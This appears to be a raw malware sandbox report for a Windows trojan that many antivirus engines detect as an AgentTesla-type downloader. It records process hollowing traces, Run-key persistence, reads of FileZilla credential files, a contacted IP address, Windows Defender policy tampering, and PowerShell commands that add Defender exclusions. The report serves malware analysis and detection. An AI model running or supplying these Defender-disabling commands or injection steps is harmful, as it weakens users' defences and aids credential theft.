description Take ScreenShot rule ScreenShot
description task schedule rule schtasks_Zero
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Detection of Virtual Appliances through the use of WMI for use of evasion. rule WMI_VM_Detect
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description Take ScreenShot rule ScreenShot
description task schedule rule schtasks_Zero
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Detection of Virtual Appliances through the use of WMI for use of evasion. rule WMI_VM_Detect
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
Time & API Arguments Status Return Repeated

NtTerminateProcess

 status_code: 0xffffffff
process_identifier: 1164
process_handle: 0x00000728
0 0

NtTerminateProcess

 status_code: 0xffffffff
process_identifier: 1164
process_handle: 0x00000728
1 0 0
cmdline "C:\Users\test22\AppData\Local\Temp\131cd417-c2a4-4cac-93da-b919652652f2\AdvancedRun.exe" /EXEFilename "C:\Users\test22\AppData\Local\Temp\131cd417-c2a4-4cac-93da-b919652652f2\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
cmdline "C:\Users\test22\AppData\Local\Temp\0e58a2a5-3589-4737-ae5b-777a813cb6af\AdvancedRun.exe" /EXEFilename "C:\Users\test22\AppData\Local\Temp\0e58a2a5-3589-4737-ae5b-777a813cb6af\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
cmdline C:\Users\test22\AppData\Local\Temp\131cd417-c2a4-4cac-93da-b919652652f2\AdvancedRun.exe /EXEFilename "C:\Users\test22\AppData\Local\Temp\131cd417-c2a4-4cac-93da-b919652652f2\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
cmdline C:\Users\test22\AppData\Local\Temp\0e58a2a5-3589-4737-ae5b-777a813cb6af\AdvancedRun.exe /EXEFilename "C:\Users\test22\AppData\Local\Temp\0e58a2a5-3589-4737-ae5b-777a813cb6af\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
host 188.120.247.145
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 1572
region_size: 425984
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000728
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1164
region_size: 425984
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000718
3221225496 0

NtAllocateVirtualMemory

 process_identifier: 888
region_size: 425984
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000724
1 0 0
Time & API Arguments Status Return Repeated

NtQuerySystemInformation

 information_class: 8 (SystemProcessorPerformanceInformation)
1 0 0
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\dwm reg_value "C:\Windows\System32\rsaenh\dwm.exe"
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\lsm reg_value "C:\ProgramData\Favorites\lsm.exe"
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\taskhost reg_value "C:\util\ProcessMonitor\taskhost.exe"
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\srvany reg_value "C:\Windows\SysWOW64\systray\srvany.exe"
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\mobsync reg_value "C:\Windows\System32\C_855\mobsync.exe"
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\SearchFilterHost reg_value "C:\Windows\System32\api-ms-win-crt-process-l1-1-0\SearchFilterHost.exe"
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\96 reg_value "C:\Users\test22\AppData\Local\Temp\StructuredQuery\96.exe"
file C:\Users\test22\AppData\Local\Temp\0e58a2a5-3589-4737-ae5b-777a813cb6af\test.bat
file C:\Users\test22\AppData\Local\Temp\0e58a2a5-3589-4737-ae5b-777a813cb6af\AdvancedRun.exe
file C:\Users\test22\AppData\Roaming\FileZilla\sitemanager.xml
file C:\Users\test22\AppData\Roaming\FileZilla\recentservers.xml
Process injection Process 2388 manipulating memory of non-child process 1164
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 1164
region_size: 425984
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000718
3221225496 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELP[aà" ~& @@ €ÚÇ@…,&O@À`  H.text„  `.rsrcÀ@ @@.reloc `@B
base_address: 0x00400000
process_identifier: 1572
process_handle: 0x00000728
1 1 0

WriteProcessMemory

 buffer: €0€ HX@häh4VS_VERSION_INFO½ïþ?ÈStringFileInfo¤040904b1, CommentsFRZE FONS(CompanyNameFyN8FileDescriptionTXv TJm0FileVersion6.2.3.7: InternalNameXkCf UjJ.exez+LegalCopyrightCopyright 2020 © Wth. All rights reserved.2LegalTrademarksMJUFB OriginalFilenameXkCf UjJ.exe2 ProductNameXkCf UjJ4ProductVersion6.3.0.48Assembly Version6.3.0.4DVarFileInfo$Translation PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING
base_address: 0x00464000
process_identifier: 1572
process_handle: 0x00000728
1 1 0

WriteProcessMemory

 buffer:  €6
base_address: 0x00466000
process_identifier: 1572
process_handle: 0x00000728
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 1572
process_handle: 0x00000728
1 1 0

WriteProcessMemory

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELP[aà" ~& @@ €ÚÇ@…,&O@À`  H.text„  `.rsrcÀ@ @@.reloc `@B
base_address: 0x00400000
process_identifier: 888
process_handle: 0x00000724
1 1 0

WriteProcessMemory

 buffer: €0€ HX@häh4VS_VERSION_INFO½ïþ?ÈStringFileInfo¤040904b1, CommentsFRZE FONS(CompanyNameFyN8FileDescriptionTXv TJm0FileVersion6.2.3.7: InternalNameXkCf UjJ.exez+LegalCopyrightCopyright 2020 © Wth. All rights reserved.2LegalTrademarksMJUFB OriginalFilenameXkCf UjJ.exe2 ProductNameXkCf UjJ4ProductVersion6.3.0.48Assembly Version6.3.0.4DVarFileInfo$Translation PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING
base_address: 0x00464000
process_identifier: 888
process_handle: 0x00000724
1 1 0

WriteProcessMemory

 buffer:  €6
base_address: 0x00466000
process_identifier: 888
process_handle: 0x00000724
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 888
process_handle: 0x00000724
1 1 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELP[aà" ~& @@ €ÚÇ@…,&O@À`  H.text„  `.rsrcÀ@ @@.reloc `@B
base_address: 0x00400000
process_identifier: 1572
process_handle: 0x00000728
1 1 0

WriteProcessMemory

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELP[aà" ~& @@ €ÚÇ@…,&O@À`  H.text„  `.rsrcÀ@ @@.reloc `@B
base_address: 0x00400000
process_identifier: 888
process_handle: 0x00000724
1 1 0
Process injection Process 732 called NtSetContextThread to modify thread in remote process 1572
Process injection Process 2388 called NtSetContextThread to modify thread in remote process 888
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4597374
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000724
process_identifier: 1572
1 0 0

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4597374
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000728
process_identifier: 888
1 0 0
Process injection Process 732 resumed a thread in remote process 1572
Process injection Process 2388 resumed a thread in remote process 888
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000724
suspend_count: 1
process_identifier: 1572
1 0 0

NtResumeThread

 thread_handle: 0x00000728
suspend_count: 1
process_identifier: 888
1 0 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Spynet
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe
cmdline C:\Windows\SysWOW64\C_855\mobsync.exe
cmdline "C:\Windows\System32\C_855\mobsync.exe"
cmdline powershell Add-MpPreference -ExclusionPath "C:\Windows\SysWOW64\C_855\mobsync.exe" -Force
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\SysWOW64\C_855\mobsync.exe" -Force
cmdline C:\Windows\System32\C_855\mobsync.exe
Elastic malicious (high confidence)
FireEye Generic.mg.ea800644b9dfd027
Cylance Unsafe
Sangfor Suspicious.Win32.Save.a
K7AntiVirus Trojan ( 0058828f1 )
K7GW Trojan ( 0058828f1 )
BitDefenderTheta Gen:NN.ZemsilF.34170.qm0@a0a4Qoii
Cyren W32/MSIL_Kryptik.CXK.gen!Eldorado
Symantec MSIL.Packed.1
ESET-NOD32 a variant of MSIL/TrojanDownloader.Agent.JAO
APEX Malicious
Paloalto generic.ml
Kaspersky UDS:DangerousObject.Multi.Generic
Sophos Mal/Generic-R
Microsoft Trojan:Win32/Sabsik.FL.B!ml
VBA32 Malware-Cryptor.MSIL.AgentTesla.Heur
Malwarebytes Malware.AI.1890789857
SentinelOne Static AI - Malicious PE
eGambit Unsafe.AI_Score_77%
Cybereason malicious.87bff0
description attempts to modify windows defender policies registry HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection
description attempts to modify windows defender policies registry HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring
description attempts to modify windows defender policies registry HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware
description attempts to modify windows defender policies registry HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000000e0
suspend_count: 1
process_identifier: 732
1 0 0

NtResumeThread

 thread_handle: 0x00000154
suspend_count: 1
process_identifier: 732
1 0 0

NtResumeThread

 thread_handle: 0x00000190
suspend_count: 1
process_identifier: 732
1 0 0

NtResumeThread

 thread_handle: 0x00000354
suspend_count: 1
process_identifier: 732
1 0 0

NtResumeThread

 thread_handle: 0x000005c8
suspend_count: 1
process_identifier: 732
1 0 0

NtGetContextThread

 thread_handle: 0x000000e4
1 0 0

NtGetContextThread

 thread_handle: 0x000000e4
1 0 0

NtResumeThread

 thread_handle: 0x000000e4
suspend_count: 1
process_identifier: 732
1 0 0

NtGetContextThread

 thread_handle: 0x000000e4
1 0 0

NtGetContextThread

 thread_handle: 0x000000e4
1 0 0

NtGetContextThread

 thread_handle: 0x000000e4
1 0 0

NtSetContextThread

 registers.eip: 1920740228
registers.esp: 4256040
registers.edi: 63269984
registers.eax: 2097203
registers.ebp: 4256044
registers.edx: 65116496
registers.ebx: 1023400
registers.esi: 100144
registers.ecx: 69210112
thread_handle: 0x000000e4
process_identifier: 732
1 0 0

NtResumeThread

 thread_handle: 0x000000e4
suspend_count: 1
process_identifier: 732
1 0 0

CreateProcessInternalW

 thread_identifier: 1304
thread_handle: 0x000006d4
process_identifier: 2056
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Users\test22\AppData\Local\Temp\131cd417-c2a4-4cac-93da-b919652652f2\AdvancedRun.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\131cd417-c2a4-4cac-93da-b919652652f2\AdvancedRun.exe" /EXEFilename "C:\Users\test22\AppData\Local\Temp\131cd417-c2a4-4cac-93da-b919652652f2\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
filepath_r: C:\Users\test22\AppData\Local\Temp\131cd417-c2a4-4cac-93da-b919652652f2\AdvancedRun.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000006dc
1 1 0

CreateProcessInternalW

 thread_identifier: 620
thread_handle: 0x00000700
process_identifier: 2948
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\96.exe" -Force
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000714
1 1 0

NtGetContextThread

 thread_handle: 0x000000e4
1 0 0

NtGetContextThread

 thread_handle: 0x000000e4
1 0 0

NtResumeThread

 thread_handle: 0x000000e4
suspend_count: 1
process_identifier: 732
1 0 0

CreateProcessInternalW

 thread_identifier: 2244
thread_handle: 0x00000724
process_identifier: 1572
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\96.exe
track: 1
command_line:
filepath_r: C:\Users\test22\AppData\Local\Temp\96.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000728
1 1 0

NtGetContextThread

 thread_handle: 0x00000724
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1572
region_size: 425984
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000728
1 0 0

WriteProcessMemory

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELP[aà" ~& @@ €ÚÇ@…,&O@À`  H.text„  `.rsrcÀ@ @@.reloc `@B
base_address: 0x00400000
process_identifier: 1572
process_handle: 0x00000728
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00402000
process_identifier: 1572
process_handle: 0x00000728
1 1 0

WriteProcessMemory

 buffer: €0€ HX@häh4VS_VERSION_INFO½ïþ?ÈStringFileInfo¤040904b1, CommentsFRZE FONS(CompanyNameFyN8FileDescriptionTXv TJm0FileVersion6.2.3.7: InternalNameXkCf UjJ.exez+LegalCopyrightCopyright 2020 © Wth. All rights reserved.2LegalTrademarksMJUFB OriginalFilenameXkCf UjJ.exe2 ProductNameXkCf UjJ4ProductVersion6.3.0.48Assembly Version6.3.0.4DVarFileInfo$Translation PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING
base_address: 0x00464000
process_identifier: 1572
process_handle: 0x00000728
1 1 0

WriteProcessMemory

 buffer:  €6
base_address: 0x00466000
process_identifier: 1572
process_handle: 0x00000728
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 1572
process_handle: 0x00000728
1 1 0

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4597374
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000724
process_identifier: 1572
1 0 0

NtResumeThread

 thread_handle: 0x00000724
suspend_count: 1
process_identifier: 1572
1 0 0

NtResumeThread

 thread_handle: 0x00000294
suspend_count: 1
process_identifier: 2948
1 0 0

NtResumeThread

 thread_handle: 0x000002e8
suspend_count: 1
process_identifier: 2948
1 0 0

NtResumeThread

 thread_handle: 0x00000444
suspend_count: 1
process_identifier: 2948
1 0 0

NtResumeThread

 thread_handle: 0x000004a4
suspend_count: 1
process_identifier: 2948
1 0 0

NtResumeThread

 thread_handle: 0x000000e0
suspend_count: 1
process_identifier: 1572
1 0 0

NtResumeThread

 thread_handle: 0x00000150
suspend_count: 1
process_identifier: 1572
1 0 0

NtResumeThread

 thread_handle: 0x00000180
suspend_count: 1
process_identifier: 1572
1 0 0

NtResumeThread

 thread_handle: 0x00000210
suspend_count: 1
process_identifier: 1572
1 0 0

NtResumeThread

 thread_handle: 0x000002b4
suspend_count: 1
process_identifier: 1572
1 0 0

NtResumeThread

 thread_handle: 0x000002f8
suspend_count: 1
process_identifier: 1572
1 0 0

NtResumeThread

 thread_handle: 0x00000364
suspend_count: 1
process_identifier: 1572
1 0 0

NtResumeThread

 thread_handle: 0x000003a8
suspend_count: 1
process_identifier: 1572
1 0 0

NtResumeThread

 thread_handle: 0x000003c4
suspend_count: 1
process_identifier: 1572
1 0 0

NtResumeThread

 thread_handle: 0x00000404
suspend_count: 1
process_identifier: 1572
1 0 0

NtResumeThread

 thread_handle: 0x00000420
suspend_count: 1
process_identifier: 1572
1 0 0

NtResumeThread

 thread_handle: 0x00000460
suspend_count: 1
process_identifier: 1572
1 0 0

NtResumeThread

 thread_handle: 0x0000047c
suspend_count: 1
process_identifier: 1572
1 0 0

NtResumeThread

 thread_handle: 0x000004bc
suspend_count: 1
process_identifier: 1572
1 0 0

NtResumeThread

 thread_handle: 0x000004d8
suspend_count: 1
process_identifier: 1572
1 0 0

NtResumeThread

 thread_handle: 0x00000518
suspend_count: 1
process_identifier: 1572
1 0 0

NtResumeThread

 thread_handle: 0x00000534
suspend_count: 1
process_identifier: 1572
1 0 0

NtResumeThread

 thread_handle: 0x00000574
suspend_count: 1
process_identifier: 1572
1 0 0